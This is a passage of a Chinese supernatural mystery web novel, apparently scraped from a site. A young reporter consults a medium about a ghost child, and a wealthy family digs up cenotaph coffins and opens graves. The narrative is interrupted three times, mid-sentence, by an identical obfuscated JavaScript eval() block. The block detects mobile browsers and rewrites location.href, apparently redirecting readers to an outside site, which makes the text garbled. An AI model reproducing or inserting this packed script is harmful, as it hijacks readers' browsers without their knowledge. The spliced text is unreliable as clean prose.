颜珺瑶暗自想着,自己现在哪里有心思想着谈恋爱,先把眼下的难关度过了再说,受点伤倒不是很要紧,最重要的是自己可别犯法,她真的不想“无缘无故”地就进去了。 吕嫣不相信,列举了好些她最近的奇怪之处,颜珺瑶磨了磨牙,她很想告诉这位吃错瓜的观众朋友,她是见鬼了,真见鬼了,忙着给鬼查明好几十年前的真相呢! 如果她狠心一点的话,她真想吓唬一下此刻冲她眨巴双眼的吕嫣。 但她没这个胆子,只好给对方塞了一排的儿童饮料。 吕嫣不吃这套,幸好这时张熙杰及时解救了她,颜珺瑶立即拿起东西就跟着下楼,出现场采访了。 采访地点就在市郊,颜珺瑶突然发现这地方似乎离吴以晴发给她的地址挺近的。 不过她现在没法离开,等到结束采访,回到单位,和张熙杰一起把稿子和片子都搞定了,她才算下了班。 出了办公楼,颜珺瑶打了辆车,直奔严婆婆那里。 到了目的地之后,眼前是一栋普通的老式农村自建房,大门半开着,隐约有灯光斜出。 她站在门外,往里瞧了一眼,没人,于是伸手在门板上敲了敲。 猝不及防间,传来一身“吱呀”的开门声,从后门处走进来一位头发灰白,约摸七十多的老太太。 “打扰了,请问您是严九香严婆婆吗?” “嗯——第一次来?” 对方一开口说话,嗓音苍老沙哑且十分低沉,像是被砂纸狠狠打磨过的。 颜珺瑶怔了下,随即笑着道:“对,我听朋友说起您,所以想找您问问,不知您现——” 严婆婆发出一声轻笑,但脸上却没什么笑意,打断了她的话,“进来吧!” 说完,老太太推开了右手边的一间屋子。 颜珺瑶快步跟了上去,屋内一片昏暗,只听见“啪嗒”一声,似乎是严婆婆拉了一下墙边的灯绳,屋子里瞬间亮起暗黄的灯光。 转身打量了一眼屋内的摆设,一张八仙桌,两张长长的木凳子,靠窗的墙上还有一个高度有一米左右,掉漆的黑色柜子,其正对面的位置,放着一个神龛,不知道供奉的是哪位神仙。 “想一直站着说话?”严婆婆率先坐了下去,抬眼瞥了她一眼。 “哦。”颜珺瑶在严婆婆对面坐下,正犹豫着要怎么开口,严婆婆倒是先说话了。 她从鼻子里发出一声轻哼,“姑娘,你带了另一个进来。” 颜珺瑶脊背一凉,注意到严婆婆的视线,顺着看向自己的左手边。 虽然没有看到其他任何“人”,但她还是腾地一下从椅子上站了起来。 她艰难地咽了咽口水,“婆婆,请问跟——跟着我的是——是什么样的?” 严婆婆不耐烦地看了颜珺瑶一眼,“你先坐下,放心,在这里你不会有事的。” 虽是这么说,颜珺瑶还是很忐忑,小心翼翼地挨上了椅子。 “一个小丫头,三四岁,”严婆婆又哼了一声,“看来你已经知道自己是被东西缠上了,见过没?” 颜珺瑶又迅速地瞥了一眼自己的左手边方向,努力平复自己的呼吸,点头道:“见过,之前见过几次,但我——不知道她原来一直跟在我身边。” 说到最后,她都有点想哭了。 “想多了,她不可能一直跟着你。” “婆婆,我能不能和她说几句话呢?” “要请她是吧?”不等颜珺瑶回答,严婆婆就探身往柜子最上面的抽屉里拿了一张黄符,又从第二层抽屉拿出一盒火柴,“我只能试试,她不一定会答应上身,这丫头不简单。” 颜珺瑶忙不迭点头,一瞬不瞬地看着严婆婆。 只见她先是擦了一根火柴,手持黄符点燃,然后微微低着头,闭着眼睛,口中念念有词却听不清楚,手上捏着燃着的符纸在桌面上慢慢绕着圈。 黄符快要烧到头了,颜珺瑶正担心会不会把严婆婆的手给烫到之时,严婆婆及时松开了手,黄符化为灰烬,落在桌上,而后严婆婆两手对搓了好几下,接着用双手在头顶上默默摩挲着。 良久,严婆婆浑身微微一哆嗦,倏地睁开了眼睛,抬头看向对面的人。 “……”这是——已经上身了? 颜珺瑶紧紧抓着桌沿,下意识就要站起来,咬咬牙克制住了。 “是严婆婆,还是——” 下一秒,严婆婆苍老的脸上突然露出了天真浪漫的笑容,然后缓缓张开了嘴。 “二哥哥,我要找二哥哥。” “……二哥哥?”颜珺瑶的手止不住地微微颤抖着,深吸一口气,“二哥哥是谁?你为什么要找他?” 可“严婆婆”却似乎没有听她在说什么,只是一个劲儿地重复着:“我要找二哥哥——” 倏地,严婆婆的头一垂,身上又是一抖,这才缓缓地抬起了头,呼吸变得有些急促。 颜珺瑶吓得冷汗直流,一时都说不出话来。 严婆婆缓了一会儿,开口说道:“这小丫头很凶,她是主动离开的,说明她不愿意和你多说。她怨气很重,而且,应该是被人一直养着。” “被人养着?”颜珺瑶觉得不可思议,“什么人会养着她呢?亲人吗?” “呵,这就不好说了,很多种情况。不过亲人确实是有可能,因为不舍。但是也有可能是她和某些人合作了,她帮对方做些恶事,而对方帮她达成心愿等。当然了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16029440|177567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还有可能是被人控制了,她只是个傀儡,不过她不属于这种情况。” 颜珺瑶越听越害怕,甚至开始觉得左半边身子都有些僵了。 “婆婆,您有什么办法,能让她不再跟着我呢?” 严婆婆轻笑一声,“她会缠上你,不是想报复,就是想找替身,再有就是有事所求。她跟了你应该挺长时间,所以不是要找替身。要是她有事所求的话,最好的办法就是帮她达成所愿,让她心满意足地离开你。 如果办不到,还可以去她的坟前祭拜,和她好好谈谈,做场法事送她离开。如果实在不行,那就只能用强硬的手段,但她太厉害了,我对付不了,只能给你一张符,随身戴着,尽量减少她对你的影响。” “如果是报复的话,那就只能自求多福了,或是再去找别人,我帮不了你。” * 离开严婆婆家之后,颜珺瑶就在琢磨,小女孩的这个二哥哥会是谁? 虽然之前她和许修远基本上都认定小女孩是沈小姐的女儿,但说实话,但目前为止,还是没有直接证据。 如果小女孩真的是沈小姐的女儿,那按辈分来说,二哥哥很可能就是许忠林,但貌似许忠林不是行二。 如果小女孩不是沈小姐的女儿,那这个二哥哥就有可能是许修远的父亲,或是许修远? 可他们父子好像都是独子。 许修远太爷爷这一脉往下,似乎都是单传。 回到出租房,她忍不住给许修远打了电话。 对方没接,颜珺瑶只好先去洗澡,煮夜宵。她正要将煮好的馄饨捞出时,许修远回电话了。 颜珺瑶顾不上馄饨了,急忙接了起来,开门见山地问许修远。 “许爷爷是行二吗?” “不是,我太爷爷只有他一个儿子,上头没有兄长,只有两个姐姐。”许修远否认了。 “只有一个儿子——”难道那个小女孩不是沈小姐的孩子? 电话那头的许修远沉默良久,又道:“不过我父亲是老二。” 颜珺瑶震惊,“许叔叔——是老二?” “嗯,我大伯在十几岁的时候出车祸走了。” 又是车祸,又是十几岁。 颜珺瑶猛地想起许修远之前说过,他的大姑奶奶也是十几岁的时候就病逝的。 会不会沈小姐对许家的报复,已经在很多年之前就开始了呢? “珺瑶,你为什么突然问起这个?” 许修远的话把她的思绪拉了回来,于是她言简意赅地把今晚在严婆婆那里的事情告诉了他。 “她喊的二哥哥应该不是我父亲,我奶奶只生了两个儿子。”许修远顿了顿,“而且我父亲已经因为她而走了,她为什么还要找我父亲呢?” 嗯,许修远说的有道理,颜珺瑶很是认同,只是这么一来的话,这个二哥哥还能是谁呢? 许修远太爷爷这一脉,有可能是所谓的二哥哥的,只有许忠林,许耀中,还有许修远。 但许修远—— 紧接着,她听到了许修远说起了自己。 “我妈只有我一个孩子,当时得知我父亲在车祸前曾看到一个小女孩之后,我就开始大范围调查,不瞒你说,我甚至暗中调查了我父亲是否有过隐瞒的婚外情或私生子,但都没有查到。所以,小女孩口中的二哥哥,也不太可能是我。” “……”难道还是旁系? 这个想法一冒出来,颜珺瑶就甩了甩头,如果是旁系的话,干嘛大费周章地找上许修远家呢?不可能。 这个二哥哥,她觉得最有可能的是,还是许忠林。 40. 第 40 章 颜珺瑶想起严婆婆给自己的那张黄符,虽然能给予一定的心理安慰,但毕竟指标不治本。 小女孩还是会一直跟着她,这件事也得不到彻底的解决。 她很费解,为什么小女孩想要通过她来伤害许家的人呢? 一开始她以为是小女孩不能接近许家人,所以才利用她,但她很快意识到不对,因为小女孩分明间接害死了许修远的父亲。 既然如此的话,为什么又要选中她呢?仅仅因为她的脸? 思及此,她猛地想起曾经听说过的关于许家的事。 “你们许家是不是有家族墓园?” “嗯,是有。”许修远迅速反应过来,“你是想问,那个小女孩和二太奶奶会不会也葬在许家的墓园,对吗?” “嗯嗯——” “一般情况下,许家的人确实是葬在家族墓园里的,不过并不是全部,不少人也在其他地方择地安葬家人。” 颜珺瑶的话提醒了许修远,过两天他也要过去看一眼。 挂断电话,锅里的馄饨有些糊了,吃着也有些凉了。 吃完夜宵,躺到床上,颜珺瑶耳边又回荡起今晚严婆婆说过的话。 小女孩一直是被人养着的,而且养了多年。 养着她的人,会不会就是她的亲人?许家人是不可能。 如果小女孩真是沈小姐的孩子,可沈小姐也早就过世,又会是谁养着她呢? 难道会是——沈小姐的亲人? 颜珺瑶真的想狠狠挠头,沈小姐的身份暂时都查不出来,就更别提她的亲人了。 线头真是越来越多了! * 不仅是颜珺瑶,许修远也觉得小女孩口中的二哥哥可能性最大的就是爷爷。 周五下午,许修远提前离开公司,让司机送他去了许家的墓园。 父亲也葬在家族墓园里,他的墓还在修建中。一开始的时候,爷爷就带着赵先生过来看了好几趟,选定了方位,确定了大小,需要讲究注意的不少,所以进度并不快。 许修远给施工师傅们带了点心水果,师傅们都笑呵呵地说着谢谢,还不忘让他放心,赵先生所提的要求与注意事项,他们一直都记着,并保证方位角度哪怕是一度的偏差都不会出现。 许修远道了辛苦之后,开始慢慢地往出口走去,助理也一直跟在身边,不过他很快发现不对劲。 许总似乎绕着路在走,在经过的每个墓碑前都会驻足。 他不方便多问,但又觉得费解。如果说许总在看到老许总的墓碑时,因为伤痛而无法举步,这是人之常情,他们是父子,而且老许总刚过世。 但许总现在看的这些墓碑,貌似都已经离世许多年了。 助理正纳闷着,许修远突然回身对他说道:“你先去车里等着吧,我还要再等会儿才走。” 助理离开之后,许修远慢条斯理地将许家这个墓园中的所有墓碑都仔细地看了一遍,着实花费了不少时间。 他没有看到姓氏为沈的墓碑,也没有看到以“夫许天佑”落款的,所以他觉得二太奶奶应该是没有葬在这里的。 但是,他却有意外收获。 以“父许修远,母赵珺惠”落款的,除了大姑奶奶许曼珍之外,还有一处的墓碑,上面写着,爱子许承望之墓。 这不是三姑奶奶的墓。 再看墓碑上的生卒年,许承望只比爷爷大了不到两岁,而他的生命也只有不到两年。 可自己却从未听说过,太奶奶在爷爷之前还有过一个儿子?而且族谱上也压根就没有这个名字。 如果他是太奶奶的亲生儿子,太奶奶绝对不会允许自己的儿子入不了族谱。 许修远沉思良久,敛了敛眸,这位大爷爷应该就不是太奶奶亲生的。 因为旧时代,家里不管有几房妻妾,所有的孩子名义上都是正房太太的,所以这样的落款似乎也合情合理。 他的脑子里闪过一张模糊的脸,大爷爷的亲生母亲会不会就是她呢? 如果真是这样的话,那族谱又是怎么回事呢? * 入伏天,夜里的一场大雨好似浇熄了炎热烦躁,次日的天打了蔫,阴沉沉的,但好在不闷热,降了温,变得凉爽了。 再次坐在许家老宅的客厅,身后不远处开着两扇窗户,隐隐有花草香和泥土的气息飘入鼻中,后院传来窸窸窣窣的动静,应该是有人在后面工作。 师傅江成和许忠林畅聊着,颜珺瑶微微低着头,凝神听着,笔尖不断滑动,快速地记录着。 正式的采访结束了,许忠林再次请两人喝下午茶,一边喝茶,一边和江成闲谈,不一会儿就又将话题引到了一直默默动着笔的颜珺瑶身上。 “上次多亏了钱先生开的药,我喝了之后身体好多了,钱先生不愧是名医。” 颜珺瑶莞尔一笑,“您是有福之人,自然能药到病除。” 许忠林朗声笑起来,“颜小姐不愧是记者,文笔厉害,也很会说话。” “……许老先生谬赞了。”莫名地,颜珺瑶有点想脚趾扣地。 刚才那话听着是不是像拍马屁?是的,挺像的。 不过从小爸妈就教她,在老人面前要多说吉祥话,老人最爱听这些,即使知道你只是场面话,但听了之后老人会很开心。 “听江记者说你上一周生病了,不知现在身体怎么样了?” 颜珺瑶眼珠微动,原来上次师傅是这么跟许忠林说的,感谢师傅。 “已经没事了,谢谢您的关心。” 许忠林满脸慈爱地看着她,“你们年轻人——” 突然,后院传来一声惊叫,许忠林的话戛然而止。 在场的人无不一惊,面面相觑。 许忠林眉心微微一皱,很快就笑着让江成和颜珺瑶喝茶,然后吩咐宗叔去后院看看到底是什么情况。 宗叔一溜小跑着去了后院,很快就回来了,但看向许忠林的眼神中掠过一丝异样。 “后院的人干活不小心,把一尊雕塑给摔了,园丁老陈吓了一跳。” 许忠林和宗叔对视了一眼,微微敛了下眸,心头一个咯噔,但嘴上却笑骂道:“这个老陈,这么大年纪了,还这么胆小。” 他看向江成和颜珺瑶,“抱歉,吓到两位了。” 两人忙异口同声地表示没有,不多会儿,江成看了颜珺瑶一眼,和许忠林开口提出离开。 宗叔送两人到门外上了车,看着车子驶离之后,立即回到了客厅,低声和许忠林说了一句话。 许忠林脸色大变,迅速站了起来,“快,快去二楼把赵先生请下来,快!” 话音未落,他就拄着手杖,急忙忙地往后院去。 * 许忠林目瞪口呆地看着眼前的地面,好端端的草坪地面怎么就能青天白日地突然裂了一条这么长的缝呢? 而那尊雕塑,是上好的大理石材质,居然会摔成就粉碎了! 关键是这尊雕塑离出现裂缝的地方还有三四米之远。 他抬起头,看向三楼最边上的那扇窗玻璃。窗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16033639|177567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 玻璃上也有一道很明显的裂痕,一直还未更换,也不可能更换。 许忠林咬牙切齿地喃喃,“又是你,对不对?又是你——” 赵敬鸿拿着罗盘观察了许久,语气变得有些沉重,对许忠林说到说道:“这裂缝底下恐怕是有东西。” 许忠林大惊失色,赶紧吩咐宗叔叫了两个胆大嘴严的工人过来,可往下挖了快两米,没有发现任何东西。 宗叔看着凌乱的草坪,突然说道:“这地我们之前翻修过,底下怎么会有东西呢?” 赵敬鸿眯了眯眼,十分肯定地说道:“不会有错的,继续挖。” 果不其然,又往下挖了一米左右时,许忠林就听到那两个膀大腰圆的壮汉子突然倒吸一口凉气,说话都有些不利索了。 “啊——有——有棺材,很小!” 许忠林身子一晃,宗叔赶紧扶住他,赵先生走到近前蹲下,往下瞧,发现确实是两个比骨灰盒大不了多少的的小棺材。 赵敬鸿慢慢爬了下去,用手扫开了棺材面上的泥土,上面居然分别刻着字。 他大骇,竟然是她们母女的生卒年。 上了地面,赵先生和许忠林说了情况,许忠林眼前一黑,差点晕了过去,幸好有宗叔在一旁使劲地撑着。 半晌,许忠林缓了过来,脸上瞬间浮上怒意,“是哪个不要命的,居然敢在我的院子里埋这种东西!快,快给我挖出来。” 很快,两名壮汉抱着两个古朴的小棺材爬了上来,一上来,两只手就像是被烫到一样,几乎是刚踩到地面,就把手上的小棺材给搁到了地上,人已经退到了好几米之外。 宗叔朝他们抬了抬下巴,点了下头,两人拔腿就跑离了后院。 赵敬鸿盯着两个小棺材,对许忠林道:“这两个盒子看起来很有年份了,许老先生,当年这两人具体是如何收殓安葬的呢?” 许忠林用拐杖敲着地面,“当然是按习俗正常安葬的,她的孩子出了车祸,家里长辈给选了一片风水宝地,好好地安葬了。” 赵敬鸿抬眸瞥了一眼三楼的方向,“那她呢?” 许忠林鼻子里发出一声轻哼,鄙夷道:“我父亲自然也请了先生,也给她选了一块风水宝地,就挨着她女儿的。” 赵敬鸿沉默了片刻,“许老先生,冒昧问一句,这两人当时为什么都没有进许家的墓园呢?” 许忠林神情顿了顿,语气不快道:“她的孩子是横死,族里长辈找人算过,不吉利,凶得很,葬进许家的墓园会对子孙后代不利,所以就在墓园边上选了块地。 而她,哼,说白了只是一个妾罢了,又不是正妻,本就不能和我父亲合葬,她没有资格,既然她那么舍不得她的女儿,就让她们母女互相陪伴了。” 赵敬鸿一时不再言语,心中差不多有谱了,但他在揣测许忠林是什么想法。 许忠林突然又用手杖恨恨地敲了好几下脚下的地面,草坪上登时出现好些个坑坑洼洼的小洞。 “肯定是她父亲干的,一定是她父亲。” “您——为什么这么肯定呢?” “我一直住在这里,不可能有人这么大胆敢在这里埋这些东西,而且家里每天都有不少人,要挖这么深埋下去,这么大的动静不会没有人知道。不过,在我十岁左右那会儿,全家搬出去住过几年,那已经是七十多年前的事情,所以只能是她的父亲。当时她出殡,只有她父亲来了。最重要的是——” 许忠林语气沉了下去,怒目切齿道:“我母亲说过,她父亲和赵先生是同行。” 41. 第 41 章 同行? 赵敬鸿一惊,“他居然会是——同行。” “嗯,上次你说起颜珺瑶的爷爷是老木匠,有可能会懂得阴阳风水,之后我才想起来我母亲曾经告诉过我,她在葬礼上见过三楼那位的亲生父亲,对方是木匠,也给人看过病,同时还是阴阳先生。” 许忠林深吸一口气,居高临下看着地上的两个小棺材,“赵先生,这里面有可能是她们母女的骨灰吗?” 赵敬鸿一愣,很快琢磨过来,“您是怀疑她父亲把她们母女的尸骨挖出来烧了,然后埋到这里?” “对,我怀疑她们母女的墓这么多年一直都是空的。” “许老,我觉得不太会是骨灰。中国人讲究入土为安,即使她父亲有什么目的,不至于将自己的女儿与外孙女的骨灰埋在这么一个没有墓碑的地方,不仅无人祭拜,还很有可能因为无人知晓,被人无意中挖了出来,坏了棺身,扬了骨灰,这是对早亡人最大的打扰。就算他不在乎他的女儿和外孙女,也不会这么做的。” “那这——可以打开吗?” “可以。” 赵敬鸿就等许忠林这一句话,打算亲自动手,宗叔跑了一趟,拿来了工具。 对方用的是上好的木材,外面还刷上了漆,这么多年过去居然没有腐坏,还保存完好。 好不容易用工具把两个棺盖都起了开来,里面确实不是骨灰,其中一个放着一件旗袍和发簪,另一个放着一件儿童旗袍,还有一双小皮鞋。 令赵敬鸿震惊的是,两个棺盖的里面都贴着一张黄符。 “衣冠冢——”许忠林踉跄了一步,脱口而出。 赵敬鸿再次拿着罗盘在后院四处走动观察,最后目光直直地盯着三楼的那个房间。 “赵先生,到底什么情况?” 赵敬鸿敛了敛眸,“许老,实不相瞒,这是有人布的凶煞阵法。” 许忠林一把拽住赵敬鸿的衣袖,几乎失声,“如何破?赵先生,你得想办法,我现在只有小远一个了。” 赵敬鸿沉思良久,“这个阵法要破,很难,布阵的是高人。” 许忠林额上青筋暴起,愤慨道:“这肯定是她父亲干的,枉为医生,居然干如此损阴德的事,怪不得断子绝孙。” 说到这里,他老泪纵横。 家里的这么多年的不幸,他两个可怜无辜的儿子,姐姐早亡,甚至是父亲的英年早逝,必然跟这两个东西有关。 不管付出什么代价,哪怕是要了他这条老命,他都必须要把这件事情弄清楚。 现在他只剩下一个孙子,他绝不能让自己唯一的血脉再受到任何莫名的伤害。 “她的父亲是位高人啊!”赵敬鸿略一迟疑,才道“目前有一个办法,可以一试,说不定能成。” 许忠林像是溺水的人抓到了救命稻草,急切道:“赵先生有什么想法直说无妨。” “把她们母女迁葬进许家的墓园,算是得到您和许家的认可。我相信这一定也是她的心愿,许老觉得呢? 许忠林眯了眯眼睛,“她的孩子可以迁进去,她——也行,但是不能和我父亲葬在一起,打扰我父母的安宁。” 赵敬鸿提醒道:“许老,在迁坟之前还请将这两个衣冠冢供奉在许家的祖祠里。” 许忠林沉默半晌,才从鼻子里发出了一声“嗯”。 宗叔赶紧又叫了人,净了手,把两个衣冠冢恭恭敬敬地送进了老宅边上的祖祠。 回到屋内,许忠林顿感不太舒服,靠坐在沙发上闭目养神,家里的阿姨给家庭医生打了电话。 赵敬鸿在一旁算日子,蓦地,许忠林睁开了眼睛。 “赵先生,你注意到一件事没?” * 颜珺瑶在纠结一件事。 那就是,要不要回一趟老家,再找汤爷爷问问呢? 眼下的状况就是,查到了不少信息,但都像是零碎的线头,缺少了关键的线索,无法串起来。 沈小姐的真实身份不知道,两人葬在哪里目前也不清楚,小女孩也不愿意和她多说,她真的是有心无力。 汤爷爷那么厉害,也许有办法能让那个小女孩说出到底想让她帮什么呢? 但一想到汤爷爷的身体,她就有点担心,这段时间张熙杰陆陆续续跟她提过几次汤爷爷,老人家身体时好时坏的。 如果是这样的话,她就不好意思再去让老人家劳心费力了。 不过,还没等她纠结好要不要回去,她就先接到钱艺文的电话,让她晚上下班后一定要回家吃饭。 “熙杰的爷爷还有他爸妈来了市里,我把他们叫到家里,两家人一起吃顿饭,让他们尝尝我和你爸的手艺。” 电话刚挂断没多久,张熙杰就跑到她的工位旁,让她下班时坐他的车一起回去。 颜珺瑶自然答应,只是—— 汤爷爷和张叔叔还有阿姨突然一起来了市里,她第一时间想到的是汤爷爷的身体是否出了问题。 张熙杰脸上没了笑意,点点头,“嗯,我爷爷身体不好舒服,我爸妈带他来检查检查,多亏了叔叔阿姨给介绍了好医生。” 下班回到家里,颜珺瑶发现汤爷爷的脸色确实不太好,整个人消瘦了许多,胃口也不如以前了。 吃饭期间,两家人都没有提到汤爷爷的病,尽量哄着老爷子高兴。 汤明山明白这些晚辈们的苦心,也不说任何扫兴的话,全程都笑呵呵的。 饭后没多久,张熙杰一家人就离开了,钱艺文维持了一晚上的笑容顿时消失了,变得有些愁云惨雾。 “老颜,你看汤叔憔悴的,太让人心疼了,我刚才第一眼看到他差点就掉眼泪了。对了,回头你把家里的那盒西洋参还有燕窝给老齐送去,让他多费费心。” 颜志华叹了口气,点了点头。 颜珺瑶在一旁听着,只觉得心头突突的,忐忑不安。 * 许忠林因为后院的事身体不适,不愿意去医院,只请了家庭医生过来。 不过次日情况没有缓解,最后还是住了两天的院。 许修远第一晚一直在医院陪着,许忠林心疼坏了,第二天就立马把他赶回家,让他好好休息。 许修远确实回了家,不过回的是老宅。 尽管爷爷一再强调不让他掺和到二太奶奶的事情中,老宅发生的事情也对他封锁消息,不过他还是知道了。 这么离奇的事,想要完全瞒住是不可能的,特别是瞒住他。 一进到老宅,许修远就直奔后院。 往日修剪齐整的草坪中间明显地秃了一块,宗叔这几天忙着照顾爷爷,还没空找人来补上,只是简单地把挖出来的土给回填进去了,不过裂缝已经看不到了。 而距离此处不远的地方,确实少了一尊雕塑。 他没记错的话,印象里少了的这尊雕塑还是在他小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16039839|177567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 学四年级暑假的时候,爷爷特意找了一位手艺匠人专门雕的。 许修远抬起头望向三楼,第一眼就注意到了那扇有裂纹的窗玻璃。 好半晌,他收回目光,转身进了屋内,上了二楼,到爷爷房间拿了钥匙。 爷爷是族长,祖祠的钥匙是由他保管的,除了重要的祭祀日以及定期打扫之外,平日里祖祠都是关着的。 许修远不常进祖祠,一般情况下都是爷爷带着他来磕头,这还是第一次独自来到这里。 他照例在蒲团上跪下,先给正龛上供奉的列祖列宗牌位磕了头,而后才走向了供桌上那两个与众不同的存在。 这样的大小,里面不是装着骨灰,就是放着亡者的衣物。 他最先注意到的是棺盖上刻着的生卒年,一个是一九二一至一九四七,另一个则是一九四三至一九四七。 母女俩卒于同一年,二十六岁与四岁。 这样的数字让人忍不住心痛,许修远深吸了一口气,又跪下对着两个小棺材磕了头,这才秉着呼吸,将手伸向了棺盖。 棺盖上有撬过的痕迹,不费力就打开了。 令他震惊的是,刻着二太奶奶生卒年的小棺材里放着的旗袍,即使没有拿出来,他也基本可以确定就是他和颜珺瑶看到的那一件。同样点缀着珍珠,同样的花纹,同样的颜色,不会有错。 而但他打开另一个棺材,看到里面的小衣服和小皮鞋时,他的胸口一下子堵得慌,不忍再看,很快盖上了棺盖。 她是他的三姑奶奶,但她间接害死了他的父亲。 在锁上祖祠的大门时,许修远在思考一个问题。 是谁把这两个衣冠冢埋在了自家老宅的后院? 二太奶奶的亲人吗? * 许忠林即使住院,也在琢磨这个问题,他安排了不少人手去寻找这个让他切齿痛恨的女人的亲人。 不过时隔几十年,一时半会儿是不可能就找到的,他眼下要操心的另一件事。 赵敬鸿已经选好了起坟和迁坟的日子与时辰,出了院之后,许忠林就着手做了安排。 两天之后的凌晨四点,天色黑沉,许忠林就在宗叔的陪同下,亲自前去起坟。 到了许家墓园,下车之后,又往山上走了一段路,终于到了两座孤坟前。 天际朦胧,他看了一眼腕表,时间差不多了,看向早就等在这里的赵敬鸿:“赵先生,都准备好了吗?” “嗯,都就绪了,就等着您上香动土。” 赵敬鸿说着,点了三根香,递到了许忠林的手边。 许忠林冷冷瞥了一眼不远处的两座坟,这才接过了香,微微弓腰,分别对着两座坟拜了三拜。 紧接着赵敬鸿从身后的一名工人手上拿过一把铁锹,递给了许忠林。 许忠林双手握住木柄,将铁锹插入土中,右脚用力向下踩,铲出了第一铲土,扬了出去。 宗叔小心翼翼地守在一旁,见状赶紧接过铁锹递给身边的工人,同时说道:“各位辛苦了,开始吧!” 紧接着宗叔又扶着许忠林回到了车上,等着起坟结束。 许忠林坐在后座上,想起了什么,突然问道:“老宗,天气预报是说今天无雨,对吗?” “嗯,是的,”宗叔倒了一杯温水递到许忠林面前,“我确认过了。” 许忠林稍稍安心,闭上了眼睛,“但愿今天一切顺利。” 42. 第 42 章 天光大亮时,车窗外传来急促的脚步声,许忠林倏地睁开了眼睛,迅速推开了车门。 赵敬鸿三步并作两步地走到车前,对上许忠林询问的眼神,额角直跳。 他克制着音量说道:“两个棺材都很轻,不像是有尸骨。” 许忠林一言不发,疾步往山上走,再次到了那两座坟前,墓穴已经空了,棺材正横陈在一旁。 绕着棺材走了一圈,许忠林突然发出一声冷笑,发话道:“开棺。” 他站到了一旁,面无表情地直视着前方,宗叔知道,许忠林冷静的表象下,是内心的惊涛骇浪。 不知过了多久,在一声声“起,起——”“上,上——”中,两个棺盖终于落地了。 赵敬鸿率先探头瞧了一眼棺内,果然如猜测的那样,里面除了衣物之外,别无其他。 没有尸骨。 他下意识侧头去看许忠林,许忠林对上他的视线,心里有了答案。 但他还是上前看了一眼,给宗叔使了个眼色,宗叔会意,将在场的所有工人暂时请到了山下去喝水吃点心。 “居然还是衣冠冢,真是可笑!”许忠林冷嗤道,“哼,亲生父亲竟然把亲闺女和亲外孙女的尸骨都给挖走了,连死后都不让她们安宁。” 他看向赵敬鸿,“赵先生,你有什么想法?” “最好是能找到她们真正的安葬之处。” 许忠林深吸了一口气,“好,我会安排。但如果——找不到呢?” “如果找不到的话,既然两处都是衣冠冢,那就把后院挖出来的那两个小棺材葬入许家的墓园,把这里——恢复即可。” “呵,这回怨不得许家了,沈新柔,要怪就只能怪你父亲。” 许忠林说完,撑着手杖就要往下走。 “许老——”赵敬鸿叫住他,轻咳一声,“您最好——再上柱香。” 只见许忠林僵着背影,良久才转过身。 * 颜珺瑶从没想过,车祸会发生在自己身上。 她一直觉得自己不管是骑电动车,还是开车,甚至是步行,都十分小心谨慎,也从不闯红灯,车祸应该是会远离自己的。 但自我觉得是一回事,现实又是一回事。 这天早上,颜珺瑶骑着小电驴优哉游哉地去上班,行至半路,在拐过一个路口时,对面一辆闯红灯的黑色轿车突然歘地迎面驶来。 她大惊,本能的反应就是控制车头,向右前方去,她的反应不慢,已经算快了,但快不过轿车的速度,电动车车尾还是被蹭到了。 车子顷刻间倒地,颜珺瑶只觉得自己似乎腾空了几秒,而后也落了地。 庆幸的是,她摔到了旁边绿化带,灌木丛有一定的缓冲作用,倒地的时候她还意识清醒,同时也庆幸自己反应迅速,在腾空的瞬间,下意识地用双手护主了头脸,其他不清楚,但她知道自己的眼睛至少是没有受伤。 最庆幸的是,她遇到了熟人,来市里看病的汤爷爷,对方第一时间帮她打了120和报警电话,在救护车到来前,一直守着她,不间断地和她说话,不让她睡过去。 救护车很快就来了,在被抬上车子的时候,颜珺瑶安慰自己。 没关系,毕竟还在“倒霉期”、“流年不利阶段”,而且也不算很倒霉,车祸不算严重,小命肯定是保住了,她自我感觉受也伤应该不严重。 到了医院之后,她被送入了急诊科,汤爷爷不停地安抚她,让她不要害怕。 刚做完基础检查,钱艺文和颜志华前后脚都赶到了医院,之后一直守在医院,直到医生宣布,颜珺瑶除了轻微脑震荡,轻微软组织挫伤,以及身上的擦划伤之外,没有太大的问题。 夫妇俩对视一眼,皆是一愣,向医生确认:“还需要做其他的检查吗?” 医生很肯定,该检查的都检查了,不过虽然目前来看不严重,但还是需要在医院多观察几天,以防万一。 夫妇俩提着的心终于落回了肚子里,一旁的汤明山也大大地松了一口气,看向病床上刚睡着的颜珺瑶,眸色一沉,没事就好。 * 颜珺瑶想着这周六许家的采访怕是又去不成,师傅倒是不会多想,她担心的是许忠林。 